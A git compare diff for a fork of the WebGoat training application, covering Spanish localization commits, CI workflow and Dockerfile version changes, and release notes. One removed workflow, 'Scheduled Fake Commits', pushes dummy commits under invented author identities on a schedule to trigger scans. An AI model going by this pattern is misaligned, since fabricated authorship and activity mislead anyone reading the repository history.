Compare commits

..

6 Commits

Author SHA1 Message Date
Àngel Ollé Blázquez
27f23fea19 add Spanish language support in chromedevtools doc 2023-12-10 17:07:49 +01:00
Àngel Ollé Blázquez
9bd7a81435 add Spanish language support in challenges doc 2023-12-10 16:54:28 +01:00
Àngel Ollé Blázquez
08ccb069df add Spanish language support in bpassrestrictions doc 2023-12-10 16:40:38 +01:00
Àngel Ollé Blázquez
2357651570 add Spanish language support in authbypass doc 2023-12-10 16:28:18 +01:00
Àngel Ollé Blázquez
b25caa5c2f add intro messages in Spanish 2023-12-10 12:23:31 +01:00
Àngel Ollé Blázquez
9c354d5699 feat: add general support for Spanish language 2023-12-09 12:00:33 +01:00
534 changed files with 9852 additions and 6131 deletions

View File

@ -1,18 +0,0 @@
on: [push]
name: DDSCA
jobs:
software-composition-analysis:
runs-on: ubuntu-latest
name: Datadog SBOM Generation and Upload
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Check imported libraries are secure and compliant
id: datadog-software-composition-analysis
uses: DataDog/datadog-sca-github-action@main
with:
dd_api_key: ${{ secrets.DD_API_KEY }}
dd_app_key: ${{ secrets.DD_APP_KEY }}
dd_site: datadoghq.com

View File

@ -1,21 +0,0 @@
on: [push]
name: DDSDS
jobs:
static-analysis:
runs-on: ubuntu-latest
name: Datadog Static Analyzer
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Check code for comitted secrets
id: datadog-static-analysis
uses: DataDog/datadog-static-analyzer-github-action@v1
with:
dd_api_key: ${{ secrets.DD_API_KEY }}
dd_app_key: ${{ secrets.DD_APP_KEY }}
dd_site: datadoghq.com
secrets_enabled: true
static_analysis_enabled: false
cpu_count: 2

View File

@ -1,23 +0,0 @@
on: [push]
name: DDSAST
jobs:
static-analysis:
runs-on: ubuntu-latest
name: Datadog Static Analyzer
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Check code meets quality and security standards
id: datadog-static-analysis
uses: DataDog/datadog-static-analyzer-github-action@v1
with:
dd_api_key: ${{ secrets.DD_API_KEY }}
dd_app_key: ${{ secrets.DD_APP_KEY }}
dd_site: datadoghq.com
cpu_count: 8
env:
DD_API_KEY: ${{ secrets.DD_API_KEY }}
DD_APP_KEY: ${{ secrets.DD_APP_KEY }}
DD_SITE: datadoghq.com

View File

@ -1,171 +0,0 @@
name: Scheduled Fake Commits
on:
# Trigger the workflow on a schedule.
schedule:
# This expression means "run every 3 minutes". Useful for testing.
# To revert to the original 8-hour schedule, change this to '0 */8 * * *'.
- cron: "0 */12 * * *" # Original schedule: every 8 hours
# To trigger manually for testing, you can add workflow_dispatch:
# workflow_dispatch:
jobs:
create_scheduled_commits:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
# Fetch the full history to ensure pushes work correctly
fetch-depth: 0
# Use a token with write access. This should be stored as a secret in your Gitea repo settings.
# The default GITEA_TOKEN might not have push permissions, so a Personal Access Token is recommended.
# Ensure you have a secret named GITEA_TOKEN with appropriate permissions (including write:actions or api)
token: ${{ secrets.GLOBAL_KEY }} # Replace GITEA_TOKEN with the name of your secret
- name: Set up Git config
# Configure Git user details globally for the runner
run: |
echo "setting up git config"
git config --global user.name "Gitea Actions Bot"
git config --global user.email "actions-bot@your-gitea-instance.com" # Replace with a suitable email
echo "git config setup complete"
- name: Create and Push Commits and Trigger Workflows
id: push_commits_and_trigger # Updated ID
env:
# Define your list of authors here. Each author should be on a new line,
# formatted as "Author Name <author@email.com>".
# For production, this should ideally be stored as a secret named FAKE_COMMIT_AUTHORS.
# For debugging, you can define it directly here as you have done.
AUTHOR_LIST: |
Author One <author1@example.com>
Author Two <author2@example.com>
Author Three <author3@example.com>
Author Four <author4@example.com>
Author Five <author5@example.com>
Author Six <author6@example.com>
Author Seven <author7@example.com>
Author Eight <author8@example.com>
Author Nine <author9@example.com>
Author Ten <author10@example.com>
DWSAuthor One <dwsauthor1@example.com>
DWSAuthor Two <dwsauthor2@example.com>
DWSAuthor Three <dwsauthor3@example.com>
DWSAuthor Four <autdwshor4@example.com>
DWSAuthor Five <autdwshor5@example.com>
DWSAuthor Six <autdwshor6@example.com>
DWSAuthor Seven <adwsuthor7@example.com>
DWSAuthor Eight <adwsuthor8@example.com>
DWSAuthor Nine <autdwshor9@example.com>
DWSAuthor Ten <autdwshor10@example.com>
COMMIT_COUNT: 3 # Number of commits to create
SLEEP_SECONDS: 150 # Delay between commits in seconds
TARGET_BRANCH: main # The branch to commit to and trigger workflows on
GITEA_BASE_URL: https://git.dws.rip # Replace with your Gitea instance URL
REPO_OWNER: dubey # Replace with your repository owner/organization
REPO_NAME: WebGoat # Replace with your repository name
# Define a space-separated list of workflow names to trigger
WORKFLOW_NAMES: "DDSAST DDSDS DDSCA" # Replace with the actual names of your workflows
run: |
echo "starting Create and Push Commits and Trigger Workflows step"
echo "AUTHOR_LIST content:"
# Mask sensitive content if AUTHOR_LIST were a secret, but here it's in the workflow file for debugging
# echo "$AUTHOR_LIST" | sed 's/@[^>]*>/@***/g' # Example masking
echo "reading author's list into array"
# Read authors into a Bash array using readarray
readarray -t authors <<< "$AUTHOR_LIST"
echo "finished reading author's list into array"
# Check if authors list is empty
if [ ${#authors[@]} -eq 0 ]; then
echo "Error: AUTHOR_LIST is empty or could not be parsed into an array."
exit 1
fi
# Shuffle the authors array to randomize the order
authors=($(printf "%s\n" "${authors[@]}" | shuf))
# Read workflow names into a Bash array
IFS=' ' read -r -a workflow_array <<< "$WORKFLOW_NAMES"
echo "Workflows to trigger: ${workflow_array[@]}"
echo "Starting commit creation process..."
echo "Authors available: ${#authors[@]}"
echo "Commits to create: $COMMIT_COUNT"
echo "Delay between commits: $SLEEP_SECONDS seconds"
echo "Target branch: $TARGET_BRANCH"
# Loop to create the specified number of commits
for i in $(seq 1 $COMMIT_COUNT); do
# Calculate the index for the current author, cycling through the list
author_index=$(( (i - 1) % ${#authors[@]} ))
current_author="${authors[$author_index]}"
echo "Processing author: $current_author" # Debug echo
# Extract name and email from the author string
# Assumes format "Name <email>"
author_name=$(echo "$current_author" | sed -E 's/^(.*) <.*>$/\1/')
author_email=$(echo "$current_author" | sed -E 's/^.* <(.*)>$/\1/')
echo "Extracted name: $author_name, email: $author_email" # Debug echo
echo "--- Creating commit $i of $COMMIT_COUNT by $author_name ---"
# Configure git user for this specific commit
git config user.name "$author_name"
git config user.email "$author_email"
# Create a dummy change: append current timestamp and author to a file
# This ensures there's always something to commit
echo "$(date): Commit $i by $author_name" >> fake_commit_log.txt
# Stage the changes
git add fake_commit_log.txt
# Commit the changes
git commit -m "Automated commit $i by $author_name"
# Push the commit to the target branch
# Use --set-upstream origin $TARGET_BRANCH on the first push if needed
echo "Pushing commit..."
git push origin HEAD:$TARGET_BRANCH
echo "Commit $i pushed successfully."
# --- Trigger the other workflows after each successful push ---
echo "Triggering specified workflows on branch '$TARGET_BRANCH' for commit $i..."
# Loop through the list of workflow names and trigger each one
for workflow_name in "${workflow_array[@]}"; do
echo "Attempting to trigger workflow: $workflow_name"
# Construct the API URL
API_URL="${GITEA_BASE_URL}/api/v1/repos/${REPO_OWNER}/${REPO_NAME}/actions/workflows/${workflow_name}/dispatches"
# Use curl to send the API request
# Requires a GITEA_TOKEN with write:actions or api scope
curl -X POST \
-H "Authorization: Bearer ${{ secrets.GLOBAL_KEY }}" \
-H "Content-Type: application/json" \
-d '{"ref": "'"$TARGET_BRANCH"'"}' \
"$API_URL"
echo "Workflow trigger request sent for workflow '$workflow_name' for commit $i."
done
echo "Finished triggering workflows for commit $i."
# --- End Trigger ---
# Wait for the specified delay before the next commit, unless it's the last one
if [ $i -lt $COMMIT_COUNT ]; then
echo "Waiting for $SLEEP_SECONDS seconds before the next commit..."
sleep $SLEEP_SECONDS
fi
done
echo "Finished creating $COMMIT_COUNT commits and triggering workflows."

View File

@ -11,9 +11,9 @@ jobs:
strategy: strategy:
matrix: matrix:
os: [ ubuntu-latest, windows-latest, macos-latest ] os: [ ubuntu-latest, windows-latest, macos-latest ]
java-version: [ 21 ] java-version: [ 17, 21 ]
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v3
- name: Set up JDK ${{ matrix.java-version }} - name: Set up JDK ${{ matrix.java-version }}
uses: actions/setup-java@v4 uses: actions/setup-java@v4
with: with:

View File

@ -5,47 +5,30 @@ on:
- '.txt' - '.txt'
- 'LICENSE' - 'LICENSE'
- 'docs/**' - 'docs/**'
branches: [ main ] branches: [main]
push: push:
branches: branches:
- main - main
jobs: jobs:
pre-commit:
name: Pre-commit check
runs-on: ubuntu-latest
steps:
- name: Checkout git repository
uses: actions/checkout@v4.1.6
- name: Setup python
uses: actions/setup-python@v5
with:
python-version: "3.9"
- uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: '23'
- name: Pre-commit checks
uses: pre-commit/action@v3.0.1
- name: pre-commit-c-lite
uses: pre-commit-ci/lite-action@v1.1.0
if: always()
build: build:
runs-on: ${{ matrix.os }} runs-on: ${{ matrix.os }}
needs: [ pre-commit ]
strategy: strategy:
fail-fast: true
matrix: matrix:
os: [ windows-latest, ubuntu-latest, macos-13 ] os: [ ubuntu-latest, windows-latest, macos-latest ]
max-parallel: 1
steps: steps:
- uses: actions/checkout@v4.1.6 - uses: actions/checkout@v3
- name: Set up JDK 23 - name: Set up JDK 17
uses: actions/setup-java@v4.2.1 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 23 java-version: 17
architecture: x64 architecture: x64
cache: 'maven' - name: Cache Maven packages
uses: actions/cache@v3.3.1
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2-
- name: Build with Maven - name: Build with Maven
run: mvn --no-transfer-progress verify run: mvn --no-transfer-progress verify

29
.github/workflows/pre-commit.yaml vendored Normal file
View File

@ -0,0 +1,29 @@
name: Pre-commit check
on:
pull_request:
branches: [main]
workflow_dispatch:
permissions:
contents: read
jobs:
pre-commit:
name: Pre-commit check
runs-on: ubuntu-latest
steps:
- name: Checkout git repository
uses: actions/checkout@v4
- name: Setup python
uses: actions/setup-python@v5
with:
python-version: "3.9"
- uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: '17'
- name: Pre-commit checks
uses: pre-commit/action@v3.0.0
- name: pre-commit-ci-lite
uses: pre-commit-ci/lite-action@v1.0.1
if: always()

View File

@ -13,15 +13,21 @@ jobs:
environment: environment:
name: release name: release
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v3
- name: Set up JDK 23 - name: Set up JDK 17
uses: actions/setup-java@v4 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 23 java-version: 17
architecture: x64 architecture: x64
cache: 'maven'
- name: Cache Maven packages
uses: actions/cache@v3.3.1
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2
- name: "Set labels for ${{ github.ref }}" - name: "Set labels for ${{ github.ref }}"
run: | run: |
@ -68,7 +74,7 @@ jobs:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: "Set up QEMU" - name: "Set up QEMU"
uses: docker/setup-qemu-action@v3.6.0 uses: docker/setup-qemu-action@v2.2.0
with: with:
platforms: all platforms: all
@ -76,13 +82,13 @@ jobs:
uses: docker/setup-buildx-action@v3 uses: docker/setup-buildx-action@v3
- name: "Login to dockerhub" - name: "Login to dockerhub"
uses: docker/login-action@v3.4.0 uses: docker/login-action@v3.0.0
with: with:
username: ${{ secrets.DOCKERHUB_USERNAME }} username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: "Build and push WebGoat" - name: "Build and push WebGoat"
uses: docker/build-push-action@v6.16.0 uses: docker/build-push-action@v5.1.0
with: with:
context: ./ context: ./
file: ./Dockerfile file: ./Dockerfile
@ -95,7 +101,7 @@ jobs:
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }} webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Build and push WebGoat desktop" - name: "Build and push WebGoat desktop"
uses: docker/build-push-action@v6.16.0 uses: docker/build-push-action@v5.1.0
with: with:
context: ./ context: ./
file: ./Dockerfile_desktop file: ./Dockerfile_desktop
@ -112,15 +118,15 @@ jobs:
needs: [ release ] needs: [ release ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v3
with: with:
fetch-depth: 0 fetch-depth: 0
- name: Set up JDK 23 - name: Set up JDK 17
uses: actions/setup-java@v4 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 23 java-version: 17
architecture: x64 architecture: x64
- name: Set version to next snapshot - name: Set version to next snapshot
@ -128,7 +134,7 @@ jobs:
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
- name: Push the changes to new branch - name: Push the changes to new branch
uses: devops-infra/action-commit-push@v0.10.0 uses: devops-infra/action-commit-push@v0.9.2
with: with:
github_token: "${{ secrets.GITHUB_TOKEN }}" github_token: "${{ secrets.GITHUB_TOKEN }}"
add_timestamp: true add_timestamp: true
@ -136,7 +142,7 @@ jobs:
force: false force: false
- name: Create PR - name: Create PR
uses: devops-infra/action-pull-request@v0.6.0 uses: devops-infra/action-pull-request@v0.5.5
with: with:
github_token: "${{ secrets.GITHUB_TOKEN }}" github_token: "${{ secrets.GITHUB_TOKEN }}"
title: ${{ github.event.commits[0].message }} title: ${{ github.event.commits[0].message }}

67
.github/workflows/test.yml vendored Normal file
View File

@ -0,0 +1,67 @@
name: "UI-Test"
on:
pull_request:
paths-ignore:
- 'LICENSE'
- 'docs/**'
push:
tags-ignore:
- 'v*'
paths-ignore:
- '.txt'
- '*.MD'
- '*.md'
- 'LICENSE'
- 'docs/**'
jobs:
build:
runs-on: ubuntu-latest
# display name of the job
name: "Robot framework test"
steps:
# Uses an default action to checkout the code
- uses: actions/checkout@v3
# Uses an action to add Python to the VM
- name: Setup Python
uses: actions/setup-python@v5
with:
python-version: '3.7'
architecture: x64
# Uses an action to add JDK 17 to the VM (and mvn?)
- name: set up JDK 17
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
architecture: x64
#Uses an action to set up a cache using a certain key based on the hash of the dependencies
- name: Cache Maven packages
uses: actions/cache@v3.3.1
with:
path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ubuntu-latest-m2-
- uses: BSFishy/pip-action@v1
with:
packages: |
robotframework
robotframework-SeleniumLibrary
webdriver-manager
selenium==4.9.1
# TODO https://github.com/robotframework/SeleniumLibrary/issues/1835
- name: Run with Maven
run: mvn --no-transfer-progress spring-boot:run &
- name: Wait to start
uses: ifaxity/wait-on-action@v1
with:
resource: http://127.0.0.1:8080/WebGoat
- name: Test with Robotframework
run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot
# send report to forks only due to limits on permission tokens
- name: Send report to commit
if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
uses: joonvena/robotframework-reporter-action@v2.2
with:
gh_access_token: ${{ secrets.GITHUB_TOKEN }}
report_path: 'robotreport'

6
.gitignore vendored
View File

@ -39,6 +39,7 @@ UserDatabase.mv.db
webgoat-container/src/main/webapp/users/guest.org.owasp.webgoat.plugin.*.props webgoat-container/src/main/webapp/users/guest.org.owasp.webgoat.plugin.*.props
webgoat-container/src/main/webapp/plugin_lessons/dist-*.pom webgoat-container/src/main/webapp/plugin_lessons/dist-*.pom
webgoat-lessons/**/target webgoat-lessons/**/target
**/*.jar
**/.DS_Store **/.DS_Store
webgoat-server/mongo-data/* webgoat-server/mongo-data/*
webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml
@ -56,8 +57,3 @@ TestClass.class
/.gitconfig /.gitconfig
webgoat.gitconfig webgoat.gitconfig
node_modules/
/test-results/
/playwright-report/
/blob-report/
/playwright/.cache/

Binary file not shown.

View File

@ -1,2 +1,2 @@
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.9.9/apache-maven-3.9.9-bin.zip distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.1/apache-maven-3.8.1-bin.zip
wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar

View File

@ -1,9 +1,6 @@
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
SPDX-License-Identifier: GPL-2.0-or-later Copyright (c) 2002 - $today.year Bruce Mayhew
Copyright (c) 2002 - 2016 Bruce Mayhew
Copyright (c) 2014 - $today.year Nanne Baars
This program is free software; you can redistribute it and/or modify it under the terms of the This program is free software; you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation; either version 2 of the GNU General Public License as published by the Free Software Foundation; either version 2 of the

View File

@ -8,8 +8,7 @@ and 2023.01 in the `pom.xml`.
### Release notes: ### Release notes:
Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
committers. In order to fetch the list of issues included use: committers. In order to fetch the list of issues included use: `git log --graph --pretty='%C(auto)%d%Creset%s' v2023.4..origin/main`
`git log --graph --pretty='%C(auto)%d%Creset%s' v2023.4..origin/main`
``` ```
mvn versions:set mvn versions:set
@ -18,9 +17,5 @@ mvn verify
git commit .... git commit ....
git tag v2023.01 git tag v2023.01
git push --tags git push --tags
git push
``` ```
After the release has been tagged and the build process is done. The release notes should be updated in the GitHub
release page.

View File

@ -1,8 +1,6 @@
# We need JDK as some of the lessons needs to be able to compile Java code FROM docker.io/eclipse-temurin:21.0.1_12-jre
FROM docker.io/eclipse-temurin:23-jdk-noble LABEL NAME = "WebGoat: A deliberately insecure Web Application"
MAINTAINER "WebGoat team"
LABEL name="WebGoat: A deliberately insecure Web Application"
LABEL maintainer="WebGoat team"
RUN \ RUN \
useradd -ms /bin/bash webgoat && \ useradd -ms /bin/bash webgoat && \
@ -35,6 +33,3 @@ ENTRYPOINT [ "java", \
"--add-opens", "java.base/java.io=ALL-UNNAMED", \ "--add-opens", "java.base/java.io=ALL-UNNAMED", \
"-Drunning.in.docker=true", \ "-Drunning.in.docker=true", \
"-jar", "webgoat.jar", "--server.address", "0.0.0.0" ] "-jar", "webgoat.jar", "--server.address", "0.0.0.0" ]
HEALTHCHECK --interval=5s --timeout=3s \
CMD curl --fail http://localhost:8080/WebGoat/actuator/health || exit 1

View File

@ -1,6 +1,6 @@
FROM lscr.io/linuxserver/webtop:ubuntu-xfce FROM lscr.io/linuxserver/webtop:ubuntu-xfce
LABEL name="WebGoat: A deliberately insecure Web Application" LABEL NAME = "WebGoat: A deliberately insecure Web Application"
LABEL maintainer="WebGoat team" MAINTAINER "WebGoat team"
WORKDIR /config WORKDIR /config
@ -9,39 +9,26 @@ COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
COPY config/desktop/start_zap.sh /config/start_zap.sh COPY config/desktop/start_zap.sh /config/start_zap.sh
COPY config/desktop/WebGoat.txt /config/Desktop/ COPY config/desktop/WebGoat.txt /config/Desktop/
RUN \
apt-get update && \
apt-get --yes install vim nano gzip
RUN \ RUN \
case $(uname -m) in \ case $(uname -m) in \
x86_64) ARCH=x64;; \ x86_64) ARCH=x64;; \
aarch64) ARCH=aarch64;; \ aarch64) ARCH=aarch64;; \
*) ARCH=unknown;; \ *) ARCH=unknown;; \
esac && \ esac && \
echo ${ARCH} curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2.12.0_Linux.tar.gz && \
tar zfxv ZAP_2.12.0_Linux.tar.gz && \
RUN \ rm -rf ZAP_2.12.0_Linux.tar.gz && \
curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.15.0/ZAP_2.15.0_Linux.tar.gz && \ curl -LO https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.6%2B10/OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
tar zfxv ZAP_2.15.0_Linux.tar.gz && \ tar zfxv OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
rm -rf ZAP_2.15.0_Linux.tar.gz rm -rf OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
RUN \
case $(uname -m) in \
x86_64) ARCH=x64;; \
aarch64) ARCH=aarch64;; \
*) ARCH=unknown;; \
esac && \
echo "oeps == ${ARCH}==" && \
curl -L https://github.com/adoptium/temurin23-binaries/releases/download/jdk-23.0.1%2B11/OpenJDK23U-jre_"${ARCH}"_linux_hotspot_23.0.1_11.tar.gz -o java.tar.gz && \
tar zfxv java.tar.gz && \
rm -rf java.tar.gz && \
chmod +x /config/start_webgoat.sh && \ chmod +x /config/start_webgoat.sh && \
chmod +x /config/start_zap.sh && \ chmod +x /config/start_zap.sh && \
mv /config/jdk-23.0.1+11-jre /config/java-jdk && \ apt-get update && \
echo "JAVA_HOME=/config/java-jdk/" >> .bash_aliases && \ apt-get --yes install vim nano && \
echo "JAVA_HOME=/config/jdk-17.0.6+10-jre/" >> .bash_aliases && \
echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
ENV JAVA_HOME=/config/java-jdk
ENV JAVA_HOME=/home/webgoat/jdk-17.0.6+10-jre
WORKDIR /config/Desktop WORKDIR /config/Desktop

View File

@ -1,9 +1,6 @@
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
SPDX-License-Identifier: GPL-2.0-or-later Copyright (c) 2002 - 2019 Bruce Mayhew
Copyright (c) 2002 - $today.year Bruce Mayhew
Copyright (c) 2014 - $today.year Nanne Baars
This program is free software; you can redistribute it and/or modify it under the terms of the This program is free software; you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation; either version 2 of the GNU General Public License as published by the Free Software Foundation; either version 2 of the

View File

@ -1,7 +1,7 @@
# WebGoat: A deliberately insecure Web Application # WebGoat: A deliberately insecure Web Application
[![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml) [![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml)
[![java-jdk](https://img.shields.io/badge/java%20jdk-23-green.svg)](https://jdk.java.net/) [![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/)
[![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/) [![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/)
[![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest) [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
[![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge) [![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
@ -80,26 +80,16 @@ Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/rel
```shell ```shell
export TZ=Europe/Amsterdam # or your timezone export TZ=Europe/Amsterdam # or your timezone
java -Dfile.encoding=UTF-8 -jar webgoat-2023.8.jar java -Dfile.encoding=UTF-8 -jar webgoat-2023.5.jar
``` ```
Click the link in the log to start WebGoat. Click the link in the log to start WebGoat.
### 3.1 Running on a different port
If for some reason you want to run WebGoat on a different port, you can do so by adding the following parameter:
```shell
java -jar webgoat-2023.8.jar --webgoat.port=8001 --webwolf.port=8002
```
For a full overview of all the parameters you can use, please check the [WebGoat properties file](webgoat-container/src/main/resources/application-{webgoat, webwolf}.properties).
## 4. Run from the sources ## 4. Run from the sources
### Prerequisites: ### Prerequisites:
* Java 23 * Java 17 or 21
* Your favorite IDE * Your favorite IDE
* Git, or Git support in your IDE * Git, or Git support in your IDE
@ -154,7 +144,7 @@ For instance running as a jar on a Linux/macOS it will look like this:
export TZ=Europe/Amsterdam # or your timezone export TZ=Europe/Amsterdam # or your timezone
export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
java -jar target/webgoat-2023.8-SNAPSHOT.jar java -jar target/webgoat-2023.6-SNAPSHOT.jar
``` ```
Or in a docker run it would (once this version is pushed into docker hub) look like this: Or in a docker run it would (once this version is pushed into docker hub) look like this:

View File

@ -1,79 +1,5 @@
# WebGoat release notes # WebGoat release notes
## Version 2025.3
### 🐞 Bug fixes
- Changed URLs imply other exclusion filters for ZAP (#2052)
- XSS lesson stage 12 (2 issues) (#1178)
### 🔄 Technical tasks
- bump docker/setup-qemu-action from 3.4.0 to 3.6.0 (#2049)
- bump docker/build-push-action from 6.14.0 to 6.15.0 (#2050)
## Version 2025.2
### 🐞 Bug fixes
- Fix SQL advanced lesson assignment 5 (#2047)
## Version 2025.1
### 🚀 New functionality
- Introduce Playwright for UI testing
- Refactoring of core code
### 🐞 Bug fixes
- Introduce assignment progress (#2043)
- Add test case for multiple users solving lessons (#2043)
- Register user while already logged in as other user. (#2042)
- Small updates and improvements in HTTP Basic lesson (#2024)
- Improve HTTP basics lesson
- Solve compiler warnings
- Cleanup attack result and builder
- Format all code according to SPDX
- Fixed one invalid solution about CSRF attack (#2010)
- Reset a lesson no longer removes all assignments
- Hint labels showing default text regardless of localization (#1965)
- Automatically solve XSS mitigation (#1957)
- Remove implicit context path guessing (#1956)
- JWT kid/jku lessons (#1949)
- Fix password reset lesson (#1941)
- Fix passing command line arguments (#1933)
- Use banners correctly
- Show boolean operators priority on `where` (#1902)
- Remove WebGoat session object (#1929)
- Reset form and quiz color on reset lesson (#1903)
- XSS lesson typo
- Copying file using `transferTo` sometimes fails. (#1862)
- Fix report card (#1845)
- Success if only Smith earn most salary (#1744)
- Update HttpBasics_plan.adoc - fix broken link to https://www.zaproxy.org/ (#1803)
- Move CSRF to A3 (#1776)
- Fix typo in SQLi blind case
- Use $ instead of jQuery which is undefined (#1736)
- Fix hidden links in MissingFunctionAC.html. (#1710)
### 🔄 Technical tasks
- Lots of dependency updates
## Contributors
Special thanks to the following contributors providing us with a pull request:
- François Capon
- GoogTech HackHuang
- Peter Potrowl
- cap-dev0x
- Benjamin Mouncer
- Jeong Rok Suh
- Rui Melo
- Vandeputte Brice
## Version 2023.8 ## Version 2023.8
### 🚀 New functionality ### 🚀 New functionality
@ -127,17 +53,13 @@ Special thanks to the following contributors providing us with a pull request:
- fix Java image inside Docker file The image now downloads the correct Java version based on the architecture. - fix Java image inside Docker file The image now downloads the correct Java version based on the architecture.
- Fix typo of HijackSession_content0.adoc - Fix typo of HijackSession_content0.adoc
- Restrict SSRF Regexes - Restrict SSRF Regexes
- update challenge code - Flags are now wired through a Spring config - Introduced Flag class - Removed Flags from the - update challenge code - Flags are now wired through a Spring config - Introduced Flag class - Removed Flags from the FlagController
FlagController
## Version 2023.4 ## Version 2023.4
### New functionality ### New functionality
- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422). - [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422). Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See README.md for details on how to start it.
Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux
desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See
README.md for details on how to start it.
- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411). - [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
### Bug fixes ### Bug fixes
@ -148,42 +70,31 @@ Special thanks to the following contributors providing us with a pull request:
## Version 2023.3 ## Version 2023.3
With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began
to use a new versioning scheme (https://calver.org/#scheme).
